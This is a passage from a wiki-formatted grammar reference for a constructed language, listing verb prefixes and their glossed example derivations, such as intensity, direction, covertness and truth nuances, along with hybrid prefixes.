::* '''duer'''....''to suggest'' → '''&lt;u&gt;az&lt;/u&gt;duer'''....''to urge''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;az&lt;/u&gt;dizeuder'''....''to guffaw''
=== Expressing Less Intense Actions with '''oz-''' ===
::* '''der'''....''to utter'' → '''&lt;u&gt;oz&lt;/u&gt;der'''....''to whisper''
::* '''duer'''....''to suggest'' → '''&lt;u&gt;oz&lt;/u&gt;duer'''....''to hint''
::* '''dizeuder'''....''to laugh'' → '''&lt;u&gt;oz&lt;/u&gt;dizeuder'''....''to chuckle''
::* '''uvteuder'''....''to moan'' → '''&lt;u&gt;oz&lt;/u&gt;uvteuder'''....''to whimper''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;oz&lt;/u&gt;tyoper'''....''to limp''
=== Expressing ''pre-, fore-'' with '''ja-''' ===
::* '''der'''....''to tell'' → '''&lt;u&gt;ja&lt;/u&gt;der'''....''to foretell, predict''
::* '''teater'''....''to see'' → '''&lt;u&gt;ja&lt;/u&gt;teater'''....''to foresee, preview''
::* '''ter'''....''to know'' → '''&lt;u&gt;ja&lt;/u&gt;ter'''....''to presage, have foreknowledge of''
::* '''yever'''....''to judge'' → '''&lt;u&gt;ja&lt;/u&gt;yever'''....''to prejudge''
::* '''juder'''....''to date'' → '''&lt;u&gt;ja&lt;/u&gt;juder'''....''to antedate''
=== Expressing ''post-, after-'' with '''jo-''' ===
::* '''juder'''....''to date'' → '''&lt;u&gt;jo&lt;/u&gt;juder'''....''to postdate''
::* '''texer'''....''to think'' → '''&lt;u&gt;jo&lt;/u&gt;texer'''....''to reflect on, review''
::* '''uvder'''....''to express sadness'' → '''&lt;u&gt;jo&lt;/u&gt;uvder'''....''to mourn, regret''
::* '''ibler'''....''to obtain'' → '''&lt;u&gt;jo&lt;/u&gt;ibler'''....''to inherit''

=== Expressing ''excessively'' with '''gra-''' ===
::* '''telier'''....''to eat'' → '''&lt;u&gt;gra&lt;/u&gt;telier'''....''to overeat''
::* '''fer'''....''to want'' → '''&lt;u&gt;gra&lt;/u&gt;fer'''....''to covet''
::* '''der'''....''to say'' → '''&lt;u&gt;gra&lt;/u&gt;der'''....''to exaggerate''
::* '''daler'''....''to talk'' → '''&lt;u&gt;gra&lt;/u&gt;daler'''....''to yammer''

=== Expressing ''inadequately'' with '''gro-''' ===
::* '''fyinder'''....''to value'' → '''&lt;u&gt;gro&lt;/u&gt;fyinder'''....''to underestimate''
::* '''mageler'''....''to cook'' → '''&lt;u&gt;gro&lt;/u&gt;mageler'''....''to undercook''
::* '''xaer'''....''to perform'' → '''&lt;u&gt;gro&lt;/u&gt;xaer'''....''to underperform''

=== Expressing ''counter-, contra-'' with '''ov-''' or '''oyv-''' ===
::* '''axler'''....''to act''  → '''&lt;u&gt;ov&lt;/u&gt;axler'''....''to counteract''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ov&lt;/u&gt;apyexer'''....''to counterattack''
::* '''daler'''....''to speak'' → '''&lt;u&gt;ov&lt;/u&gt;daler'''....''to oppose''
::* '''der'''....''to say'' → '''&lt;u&gt;oyv&lt;/u&gt;der'''....''to contradict''
::* '''ber'''....''to put'' → '''&lt;u&gt;oyv&lt;/u&gt;ber'''....''to reverse, overturn''
::* '''texer'''....''to think''  → '''&lt;u&gt;oyv&lt;/u&gt;texer'''....''to contest, disagree''
::* '''per'''....''to go'' → '''&lt;u&gt;oyv&lt;/u&gt;per'''....''to contravene''
=== Expressing ''on behalf, for'' with '''av-''' ===
::* '''axler'''....''to act'' → '''&lt;u&gt;av&lt;/u&gt;axler'''....''to act on behalf of''
::* '''daler'''....''to speak'' → '''&lt;u&gt;av&lt;/u&gt;daler'''....''to advocate, speak on behalf of''
::* '''dyundrer'''....''to sign'' → '''&lt;u&gt;av&lt;/u&gt;dyundrer'''....''to endorse''

=== Making Verbs Reflexive with '''ut-''' (''self-, auto-'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;ut&lt;/u&gt;tojber'''....''to commit suicide''
::* '''vyovider'''....''to flatter'' → '''&lt;u&gt;ut&lt;/u&gt;vyovider'''....''to flatter oneself''
::* '''zaypuxwer'''....''to be propelled'' → '''&lt;u&gt;ut&lt;/u&gt;zaypuxwer'''....''to be self-propelled''
::* '''fider'''....''to praise'' → '''&lt;u&gt;ut&lt;/u&gt;fider'''....''to brag''
::* '''gober'''....''to decrement'' → '''&lt;u&gt;ut&lt;/u&gt;gober'''....''to autodecrement''
=== Making Verbs Reciprocal with '''hyuit-''' (''one another'') ===
::* '''tojber'''....''to kill'' → '''&lt;u&gt;hyuit&lt;/u&gt;tojber'''....''to kill one another''
::* '''ifer'''....''to love'' → '''&lt;u&gt;hyuit&lt;/u&gt;ifer'''....''to love one another''

=== Expressing ''inter-, intra-'' with '''eb-''' (''between'') ===
::* '''tadier'''....''to marry'' → '''&lt;u&gt;eb&lt;/u&gt;tadier'''....''to intermarry''
::* '''zyaber'''....''to spread'' → '''&lt;u&gt;eb&lt;/u&gt;zyaber'''....''to intersperse''
::* '''vyexer'''....''to relate'' → '''&lt;u&gt;eb&lt;/u&gt;vyexer'''....''to interrelate''

=== Expressing the Opposite of an Action with '''o-''' (''un-'') ===
::* '''bexler'''....''to keep'' → '''&lt;u&gt;o&lt;/u&gt;bexler'''....''to release, let go of''
::* '''aynser'''....''to integrate'' → '''&lt;u&gt;o&lt;/u&gt;aynser'''....''to disintegrate, to decay''
::* '''beler'''....''to carry'' → '''&lt;u&gt;o&lt;/u&gt;beler'''....''to drop''
::* '''bier'''....''to take'' → '''&lt;u&gt;o&lt;/u&gt;bier'''....''to leave, relinquish''
::* '''boser'''....''to be quiet'' → '''&lt;u&gt;o&lt;/u&gt;boser'''....''to be upset''
::* '''drer'''....''to write'' → '''&lt;u&gt;o&lt;/u&gt;drer'''....''to erase''

::&lt;small&gt;Note: If the base verb already begins with the negative prefix '''o-''', then the prefix is changed to '''ol-''', eg. '''obexler'''....''to release'' → '''&lt;u&gt;ol&lt;/u&gt;obexwa'''....''to unrelease''  &lt;/small&gt;

=== Expressing a Public or Official Action with '''do-''' ===
:: '''Do-''' is a stub for '''dot''' (''society'').

::* '''afder'''....''to allow'' → '''&lt;u&gt;do&lt;/u&gt;afder'''....''to authorize''
::* '''bier'''....''to take'' → '''&lt;u&gt;do&lt;/u&gt;bier'''....''to conquer, take over, take control of''
::* '''tojber'''....''to kill'' → '''&lt;u&gt;do&lt;/u&gt;tojber'''....''to execute''
::* '''buer'''....''to give'' → '''&lt;u&gt;do&lt;/u&gt;buer'''....''to dedicate''
::* '''daler'''....''to speak'' → '''&lt;u&gt;do&lt;/u&gt;daler'''....''to orate, speak in public''
::* '''deler'''....''to declare'' → '''&lt;u&gt;do&lt;/u&gt;deler'''....''to announce''
::* '''drer'''....''to write'' → '''&lt;u&gt;do&lt;/u&gt;drer'''....''to publicize, report''

=== Giving Verbs a Nuance of Truth with '''vya-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vya&lt;/u&gt;der'''....''to avow, be frank''
::* '''ber'''....''to set, put'' → '''&lt;u&gt;vya&lt;/u&gt;ber'''....''to control''
::* '''napxer'''...''to arrange, order'' → '''&lt;u&gt;vya&lt;/u&gt;napxer'''....''to adjust''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;vya&lt;/u&gt;kexer'''....''to investiage''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vya&lt;/u&gt;tuer'''....''to advise''

=== Giving Verbs of Nuance of Falseness with '''vyo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vyo&lt;/u&gt;der'''....''to lie, to misstate''
::* '''tester'''....''to understand'' → '''&lt;u&gt;vyo&lt;/u&gt;tester'''....''to misunderstand''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;vyo&lt;/u&gt;tuer'''....''to misinform, to deceive''
::* '''xer'''....''to do'' → '''&lt;u&gt;vyo&lt;/u&gt;xer'''....''to do wrong, fail, misdo''
::* '''yuxler'''....''to serve'' → '''&lt;u&gt;vyo&lt;/u&gt;yuxler'''....''to betray, to serve unfaithfully''
=== Making Verbs Positive with '''va-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;va&lt;/u&gt;der'''....''to affirm''
::* '''texer'''....''to think'' → '''&lt;u&gt;va&lt;/u&gt;texer'''....''to believe''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;va&lt;/u&gt;yeker'''....''to presume''
::* '''bier'''.....''to take'' → '''&lt;u&gt;va&lt;/u&gt;bier'''....''to accept''
=== Making Verbs Negative with '''vo-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;vo&lt;/u&gt;der'''....''to deny''
::* '''texer'''....''to think'' → '''&lt;u&gt;vo&lt;/u&gt;texer'''....''to doubt''
::* '''yeker'''....''to expect'' → '''&lt;u&gt;vo&lt;/u&gt;yeker'''....''to rule out''
::* '''bier'''.....''to take'' → '''&lt;u&gt;vo&lt;/u&gt;bier'''....''to reject''
=== Making Verbs Suppositional with '''ve-''' ===
::* '''der'''....''to say'' → '''&lt;u&gt;ve&lt;/u&gt;der'''....''to conjecture''
::* '''texer'''....''to think'' → '''&lt;u&gt;ve&lt;/u&gt;texer'''....''to suppose, hypothesize''
::* '''yovder'''....''to blame'' → '''&lt;u&gt;ve&lt;/u&gt;yovder'''....''to indict, accuse''
=== Speeding up Verbs with '''ig-''' ===
::* '''pier'''....''to leave'' → '''&lt;u&gt;ig&lt;/u&gt;pier'''....''to flee''
::* '''pyoser'''....''to drop'' → '''&lt;u&gt;ig&lt;/u&gt;pyoser'''....''to plummet''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ig&lt;/u&gt;tyoper'''....''to run''
::* '''yeper'''....''to enter'' → '''&lt;u&gt;ig&lt;/u&gt;yeper'''....''to rush in''
=== Slowing up Verbs with '''ug-''' ===
::* '''paser'''....''to move'' → '''&lt;u&gt;ug&lt;/u&gt;paser'''....''to amble''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ug&lt;/u&gt;teaxer'''....''to gaze''
::* '''ilper'''....''to flow'' → '''&lt;u&gt;ug&lt;/u&gt;ilper'''....''to trickle''
::* '''tilier'''....''to drink'' → '''&lt;u&gt;ug&lt;/u&gt;tilier'''....''to sip''
=== Expressing the Nuance of Suddenness with '''yok-''' ===
::* '''baxer'''....''to stir'' → '''&lt;u&gt;yok&lt;/u&gt;baxer'''....''to startle''
::* '''hihider'''....''to laugh'' → '''&lt;u&gt;yok&lt;/u&gt;hihider'''....''to burst out laughing''
::* '''teaser'''....''to appear'' → '''&lt;u&gt;yok&lt;/u&gt;teaser'''....''to suddenly appear''
::* '''yoktojer'''....''to die'' → '''&lt;u&gt;yok&lt;/u&gt;tojer'''....''to drop dead''
=== Expressing the Notion of Fixedness with '''kyo-''' ===
::* '''byaser'''....''to stand'' → '''&lt;u&gt;kyo&lt;/u&gt;byaser'''....''to stand still''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;kyo&lt;/u&gt;kexer'''....''to hound, stalk''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;kyo&lt;/u&gt;teaxer'''....''to stare, glare''
::* '''texer'''....''to think'' → '''&lt;u&gt;kyo&lt;/u&gt;texer'''....''to obsess with, fixate on''
=== Expression the Notion of Randomness or Chance with '''kye-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;kye&lt;/u&gt;der'''....''to guess, divine''
::* '''per'''....''to per'' → '''&lt;u&gt;kye&lt;/u&gt;per'''....''to fluctuate''
::* '''poper'''....''to travel'' → '''&lt;u&gt;kye&lt;/u&gt;poper'''....''to wander''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kye&lt;/u&gt;napxer'''....''to scramble, shuffle''
::* '''bier'''....''to take'' → '''&lt;u&gt;kye&lt;/u&gt;bier'''....''to select''
::* '''kaxer'''....''to find'' → '''&lt;u&gt;kye&lt;/u&gt;kaxer'''....''to discover, to find by chance''
::* '''vyabxer'''....''to check'' → '''&lt;u&gt;kye&lt;/u&gt;vabxer'''....''to spot check''

=== Expressing the Notion of Change with '''kya-''' ===
::* '''baser'''....''to make a move'' → '''&lt;u&gt;kya&lt;/u&gt;baser'''....''to shift''
::* '''sanxer'''....''to form'' → '''&lt;u&gt;kya&lt;/u&gt;sanxer'''....''to transform''
::* '''xer'''....''to do/make'' → '''&lt;u&gt;kya&lt;/u&gt;xer'''....''to change''
::* '''napxer'''....''to order'' → '''&lt;u&gt;kya&lt;/u&gt;napxer'''....''to shuffle''
::* '''dyanxer'''....''to phrase'' → '''&lt;u&gt;kya&lt;/u&gt;dyanxer'''....''to paraphrase''
=== Expressing Covert Actions with '''ko-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ko&lt;/u&gt;ber'''....''to hide''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ko&lt;/u&gt;beler'''....''to smuggle''
::* '''bier'''....''to take'' → '''&lt;u&gt;ko&lt;/u&gt;bier'''....''to steal''
::* '''ebkyaxer'''....''to exchange'' → '''&lt;u&gt;ko&lt;/u&gt;ebkyaxer'''....''to traffic''
::* '''exer'''....''to operate'' → '''&lt;u&gt;ko&lt;/u&gt;exer'''....''to spy, operate under cover''
::* '''fler'''....''to wish for'' → '''&lt;u&gt;ko&lt;/u&gt;fler'''....''to covet, be jealous of''
::* '''apyexer'''....''to attack'' → '''&lt;u&gt;ko&lt;/u&gt;apyexer'''....''to ambush, to sneak-attack''
::* '''loexer'''....''to destroy'' → '''&lt;u&gt;ko&lt;/u&gt;loexer'''....''to sabotage''
=== Expressing Actions with Intentionality with '''ke-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ke&lt;/u&gt;teaxer'''....''to scan''
::* '''vyaxer'''....''to prove'' → '''&lt;u&gt;ke&lt;/u&gt;vyaxer'''....''to experiment''
::* '''tier'''....''to learn'' → '''&lt;u&gt;ke&lt;/u&gt;tier'''....''to be interested in''
::* '''bier'''....''to take'' → '''&lt;u&gt;ke&lt;/u&gt;bier'''....''to choose''
::* '''pexer'''....''to catch'' → '''&lt;u&gt;ke&lt;/u&gt;pexer'''....''to hunt''

=== Expressing Lateral Actions with '''ku-''' ===
::* '''buxer'''....''to push'' → '''&lt;u&gt;ku&lt;/u&gt;buxer'''....''to rebuff, shun''
::* '''der'''....''to say'' → '''&lt;u&gt;ku&lt;/u&gt;der'''....''to comment, remark''
::* '''tyoper'''....''to step'' → '''&lt;u&gt;ku&lt;/u&gt;tyoper'''....''to step aside''
=== Expressing Diagonal Actions with '''ki-''' ===
::* '''teaxer'''....''to look'' → '''&lt;u&gt;ki&lt;/u&gt;teaxer'''....''to look askance at''
::* '''tuxer'''....''to teach'' → '''&lt;u&gt;ki&lt;/u&gt;tuxer'''....''to brainwash''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;ki&lt;/u&gt;tyoper'''....''to limp''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ki&lt;/u&gt;pyoser'''....''to slip and fall''
::* '''per'''....''to go'' → '''&lt;u&gt;ki&lt;/u&gt;per'''....''to slide''

=== Expressing Near Actions with '''yub-'''===
::* '''der'''....''to say'' → '''&lt;u&gt;yub&lt;/u&gt;der'''....''to intimate, hint''
::* '''gexer'''....''to equate'' → '''&lt;u&gt;yub&lt;/u&gt;gexer'''....''to approximate''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yu(b)&lt;/u&gt;bixer'''....''to attract, draw near''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yub&lt;/u&gt;teaxer'''....''to scrutinize, examine''

=== Expressing Distance Actions with '''yib-''' (''far, tele-'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yib&lt;/u&gt;drer'''....''to wire, telegraph''
::* '''bixer'''....''to pull'' → '''&lt;u&gt;yi(b)&lt;/u&gt;bixer'''....''to distract''
::* '''tuier'''....''to communicate'' → '''&lt;u&gt;yib&lt;/u&gt;tuier'''....''to telecommunicate''
::* '''nyuxer'''....''to deliver'' → '''&lt;u&gt;yib&lt;/u&gt;nyuxer'''....''to mail, post''

=== Expressing ''up-, super-'' with '''yab-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ya(b)&lt;/u&gt;ber'''....''to raise, to put up''
::* '''bixler'''....''to drag'' → '''&lt;u&gt;ya(b)&lt;/u&gt;bixler'''....''to dredge up''
::* '''uper'''....''to come'' → '''&lt;u&gt;yab&lt;/u&gt;uper'''....''to come up''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yab&lt;/u&gt;nogyanxer'''....''to scale up, escalate''

=== Expressing ''down-, sub-'' with '''yob-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;yo(b)&lt;/u&gt;ber'''....''to lower, put down''
::* '''kyaber'''....''to shift'' → '''&lt;u&gt;yob&lt;/u&gt;kyaxer'''....''to downshift''
::* '''musper'''....''to climb'' → '''&lt;u&gt;yob&lt;/u&gt;musper'''....''to climb down''
::* '''nogyanxer'''....''to scale'' → '''&lt;u&gt;yob&lt;/u&gt;nogyanxer'''....''to downscale''

=== Expressing ''in-'' with '''yeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ye(b)&lt;/u&gt;ber'''....''to insert, put in''
::* '''beler'''....''to carry'' → '''&lt;u&gt;ye(b)&lt;/u&gt;beler'''....''to import''
::* '''uzber'''....''to bend'' → '''&lt;u&gt;yeb&lt;/u&gt;uzber'''....''to inflect''
::* '''yujber'''....''to close'' → '''&lt;u&gt;yeb&lt;/u&gt;yujber'''....''to enclose, include''

=== Expressing ''out-, ex-, extra-'' with '''oyeb-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oye&lt;/u&gt;ber'''....''to put out, expose''
::* '''beler'''....''to carry'' → '''&lt;u&gt;oye&lt;/u&gt;beler'''....''to export''
::* '''uber'''....''to send'' → '''&lt;u&gt;oyeb&lt;/u&gt;uber'''....''to emit, send out''
::* '''yujber'''....''to close'' → '''&lt;u&gt;oyeb&lt;/u&gt;yujber'''....''to exclude''

=== Expressing ''pro-, forward'' with '''zay-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zay&lt;/u&gt;ber'''....''to advance, put forward''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zay&lt;/u&gt;kexer'''....''to scout out''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zay&lt;/u&gt;puxer'''....''to propel, thrust''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;zay&lt;/u&gt;tyoper'''....''to progress, to walk forward''

=== Expressing ''back-, retro-, re-'' with '''zoy-''' ===
::* '''uber'''....''to send'' → '''&lt;u&gt;zoy&lt;/u&gt;ber'''....''to send back''
::* '''kixer'''....''to bend'' → '''&lt;u&gt;zoy&lt;/u&gt;kixer'''....''to reflect''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to repel''
::* '''neadper'''....''to track'' → '''&lt;u&gt;zoy&lt;/u&gt;neadper'''....''to backtrack''

=== Expressing ''across, trans-, over-, cross-'' with '''zey-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zey&lt;/u&gt;per'''....''to cross, transit''
::* '''beler'''....''to carry'' → '''&lt;u&gt;zey&lt;/u&gt;beler'''....''to transport, convey''
::* '''drer'''....''to write'' → '''&lt;u&gt;zey&lt;/u&gt;drer'''....''to transcribe''
::* '''kyober'''....''to fix'' → '''&lt;u&gt;zey&lt;/u&gt;kyober'''....''to transfix, transplant''
::* '''vyayeker'''....''to check'' → '''&lt;u&gt;zey&lt;/u&gt;vyayeker'''....''to crosscheck''

=== Expressing ''through, per-'' with '''zye-''' ===
::* '''per'''....''to go'' → '''&lt;u&gt;zye&lt;/u&gt;per'''....''to permeate, get through''
::* '''kexer'''....''to seek'' → '''&lt;u&gt;zye&lt;/u&gt;kexer'''....''to rummage, sift through''
::* '''drer'''....''to write'' → '''&lt;u&gt;zye&lt;/u&gt;drer'''....''to cross out, draw a line through''
::* '''iluer'''....''to pour'' → '''&lt;u&gt;zye&lt;/u&gt;iluer'''....''to soak''
::* '''koper'''....''to sneak'' → '''&lt;u&gt;zye&lt;/u&gt;koper'''....''to sneak through''
=== Expressing ''all over, widely, all about'' with '''zya-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;zya&lt;/u&gt;ber'''....''to spread''
::* '''buer'''....''to give'' → '''&lt;u&gt;zya&lt;/u&gt;buer'''....''to distribute''
::* '''ijber'''....''to open'' → '''&lt;u&gt;zya&lt;/u&gt;ijber'''....''to open wide''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;zya&lt;/u&gt;nuxer'''....''to disburse''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zya&lt;/u&gt;puxer'''....''to scatter, cast about''

=== Expressing ''mid-, center'' with '''ze-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;ze&lt;/u&gt;ber'''....''to balance''
::* '''byaser'''....''to stand'' → '''&lt;u&gt;ze&lt;/u&gt;byaser'''....''to straddle''
::* '''der'''....''to say'' → '''&lt;u&gt;ze&lt;/u&gt;der'''....''to interject''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;ze&lt;/u&gt;pyoser'''....''to sag''
::* '''poxer'''....''to stop'' → '''&lt;u&gt;ze&lt;/u&gt;poxer'''....''to interrupt''
=== Expressing ''futurity'' with '''oj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;oj&lt;/u&gt;ber'''....''to put off, postpone''
::* '''bier'''....''to take'' → '''&lt;u&gt;oj&lt;/u&gt;bier'''....''to borrow''
::* '''fer'''....''to want'' → '''&lt;u&gt;oj&lt;/u&gt;fer'''....''to wish, aspire''
::* '''texer'''....''to think'' → '''&lt;u&gt;oj&lt;/u&gt;texer'''....''to plan''
::* '''teater'''....''to see'' → '''&lt;u&gt;oj&lt;/u&gt;teater'''....''to envision''
::* '''vader'''....''to affirm'' → '''&lt;u&gt;oj&lt;/u&gt;vader'''....''to promise''
=== Expressing ''past'' with '''aj-''' ===
::* '''ber'''....''to put'' → '''&lt;u&gt;aj&lt;/u&gt;ber'''....''to pass, relegate to the past''
::* '''der'''....''to say'' → '''&lt;u&gt;aj&lt;/u&gt;der'''....''to evoke, hearken, recount''
::* '''embier'''....''to occupy'' → '''&lt;u&gt;aj&lt;/u&gt;embier'''....''to haunt''
::* '''texer'''....''to think'' → '''&lt;u&gt;aj&lt;/u&gt;texer'''....''to reminisce, to reflect''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;aj&lt;/u&gt;uvtosder'''....''to apologize''
::* '''nexer'''....''to store'' → '''&lt;u&gt;aj&lt;/u&gt;nexer'''....''to archive''
=== Expressing ''present'' with '''ej-''' ===
::* '''buer'''....''to give'' → '''&lt;u&gt;ej&lt;/u&gt;buer'''....''to present''
::* '''eser'''....''to exist'' → '''&lt;u&gt;ej&lt;/u&gt;eser'''....''to attend, to be present''
::* '''nuxer'''....''to pay'' → '''&lt;u&gt;ej&lt;/u&gt;nuxer'''....''to pay cash''
::* '''tuer'''....''to inform'' → '''&lt;u&gt;ej&lt;/u&gt;tuer'''....''to update''
::* '''uvtosder'''....''to express sadness'' → '''&lt;u&gt;ej&lt;/u&gt;uvtosder'''....''to apologize''
=== Expressing a stretched out action with '''yag-''' (''long'') ===
::* '''beser'''....''to stay'' → '''&lt;u&gt;yag&lt;/u&gt;beser'''....''to linger''
::* '''bexer'''....''to hold'' → '''&lt;u&gt;yag&lt;/u&gt;bexer'''....''to conserve, preserve''
::* '''daler'''....''to talk'' → '''&lt;u&gt;yag&lt;/u&gt;daler'''....''to ramble''
::* '''dodaler'''....''to orate'' → '''&lt;u&gt;yag&lt;/u&gt;dodaler'''....''to harangue''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yag&lt;/u&gt;teaxer'''....''to stare''
::* '''fer'''....''to want'' → '''&lt;u&gt;yag&lt;/u&gt;fer'''....''to yearn, pine''
=== Expressing a brief action with '''yog-''' (''short'') ===
::* '''drer'''....''to write'' → '''&lt;u&gt;yog&lt;/u&gt;drer'''....''to abbreviate''
::* '''teaxer'''....''to look'' → '''&lt;u&gt;yog&lt;/u&gt;teaxer'''....''to glance at''
::* '''tujer'''....''to sleep'' → '''&lt;u&gt;yog&lt;/u&gt;tujer'''....''to snooze, nap''
::* '''gobler'''....''to cut'' → '''&lt;u&gt;yog&lt;/u&gt;gobler'''....''to cut short, truncate''

=== Some Hybrid Prefixes ===
The prefix '''kui-''' is a hybrid of '''ku-''' (''lateral'') and '''ki-''' (''diagonal'')

::* '''per'''....''to go'' → '''&lt;u&gt;kui&lt;/u&gt;per'''....''to wobble''
::* '''tyoper'''....''to walk'' → '''&lt;u&gt;kui&lt;/u&gt;tyoper'''....''to limp''

The prefix '''zao-''' is a truncated hybrid of '''zay-''' (''forward'') and '''zoy-''' (''backwards''), eg:

::* '''baser'''....''to move'' → '''&lt;u&gt;zao&lt;/u&gt;baser'''....''to rock''
::* '''per'''....''to go'' → '''&lt;u&gt;zao&lt;/u&gt;per'''....''to alternate''
::* '''beler'''....''to carry'' → '''&lt;u&gt;kui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''pyoser'''....''to fall'' → '''&lt;u&gt;kui&lt;/u&gt;pyoser'''....''to pendulate''

The prefix '''yaob-''' is a hybrid of '''yab-''' (''up'') and '''yob-''' (''down'').  The final '''b-''' is assimilated or dropped before a '''b''' or '''p'''.

::* '''baser'''....''to move'' → '''&lt;u&gt;yao&lt;/u&gt;baser'''....''to bob''
::* '''per'''....''to go'' → '''&lt;u&gt;yao&lt;/u&gt;per'''....''to heave''
::* '''beler'''....''to carry'' → '''&lt;u&gt;yao&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''peper'''....''to ride'' → '''&lt;u&gt;yao&lt;/u&gt;peper'''....''to jounce''
::* '''puser'''....''to jump'' → '''&lt;u&gt;yao&lt;/u&gt;puser'''....''to hop, bounce''

The prefix '''bui-''' is a hybrid of '''bu-''' (''to'') and '''bi-''' (''from''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;bui&lt;/u&gt;drer'''....''to correspond''
::* '''-er'''....''to x'' → '''&lt;u&gt;bui&lt;/u&gt;er'''....''to trade''
::* '''beler'''....''to carry'' → '''&lt;u&gt;bui&lt;/u&gt;beler'''....''to shuttle, ferry''
::* '''xer'''....''to do'' → '''&lt;u&gt;bui&lt;/u&gt;xer'''....''to push and pull, spring''
::* '''poper'''....''to travel'' → '''&lt;u&gt;bui&lt;/u&gt;poper'''....''to travel to and fro, travel round trip''

The prefix '''uiz-''' is a hybrid of '''uz-''' (''crooked'') and '''iz-''' (''straight''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''der'''....''to say'' → '''&lt;u&gt;uiz&lt;/u&gt;der'''....''to equivocate''
::* '''baser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;baser'''....''to wiggle, to squirm''
::* '''per'''....''to go'' → '''&lt;u&gt;uiz&lt;/u&gt;per'''....''to careen, reel''
::* '''paser'''....''to move'' → '''&lt;u&gt;uiz&lt;/u&gt;paser'''....''to swerve, yaw''

The prefix '''zui-''' is a hybrid of '''zu-''' (''left'') and '''zi-''' (''right''), eg:

::* '''drer'''....''to write'' → '''&lt;u&gt;uiz&lt;/u&gt;drer'''....''to squiggle''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zui&lt;/u&gt;buxer'''....''to push around''
::* '''baser'''....''to move'' → '''&lt;u&gt;zui&lt;/u&gt;baser'''....''to sway, totter''
::* '''per'''....''to go'' → '''&lt;u&gt;zui&lt;/u&gt;per'''....''to zigzag''
::* '''pasler'''....''to shake'' → '''&lt;u&gt;zui&lt;/u&gt;pasler'''....''to wobble''

The prefix '''aoyeb-''' is a hybrid of '''(a)yeb-''' (''in'') and '''oyeb-''' (''out''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;aoye&lt;/u&gt;ber'''....''to insert and extract''
::* '''tiexer'''....''to breathe'' → '''&lt;u&gt;aoye&lt;/u&gt;tiexer'''....''to breath in and out''
::* '''paper'''....''to fly'' → '''&lt;u&gt;aoye&lt;/u&gt;paper'''....''to fly in and out''

The prefix '''aob-''' is a hybrid of '''ab-''' (''on'') and '''ob-''' (''off''), eg:

::* '''ber'''....''to put'' → '''&lt;u&gt;ao&lt;/u&gt;ber'''....''to put on and off''
::* '''per'''....''to go'' → '''&lt;u&gt;ao&lt;/u&gt;per'''....''to get on and off, embark and disembark''

The prefix '''vao-''' is a hybrid of '''va-''' (''yes'') and '''vo-''' (''no''), eg:

::* '''der'''....''to say'' → '''&lt;u&gt;vao&lt;/u&gt;der'''....''to decide''
::* '''daler'''....''to talk'' → '''&lt;u&gt;vao&lt;/u&gt;daler'''....''to waffle''
::* '''duder'''....''to answer'' → '''&lt;u&gt;vao&lt;/u&gt;duder'''....''to answer yes or no''
::* '''kyaxer'''....''to change'' → '''&lt;u&gt;vao&lt;/u&gt;kyaxer'''....''to redact''
::* '''texer'''....''to think'' → '''&lt;u&gt;vao&lt;/u&gt;texer'''....''to deliberate, vacillate''

The prefix '''uij''' is a hybrid of '''uj-''' (''end'') and '''ij-''' (''begin'')

::* '''ber'''....''to put'' → '''&lt;u&gt;uij&lt;/u&gt;ber'''....''to switch off and on''
::* '''daler'''....''to talk'' → '''&lt;u&gt;uij&lt;/u&gt;daler'''....''to stutter''

The prefix '''yuij''' is a hybrid of '''yuj-''' (''close'') and '''yij-''' (''open'')

::* '''ber'''....''to put'' → '''&lt;u&gt;yuij&lt;/u&gt;ber'''....''to open and close, blink''

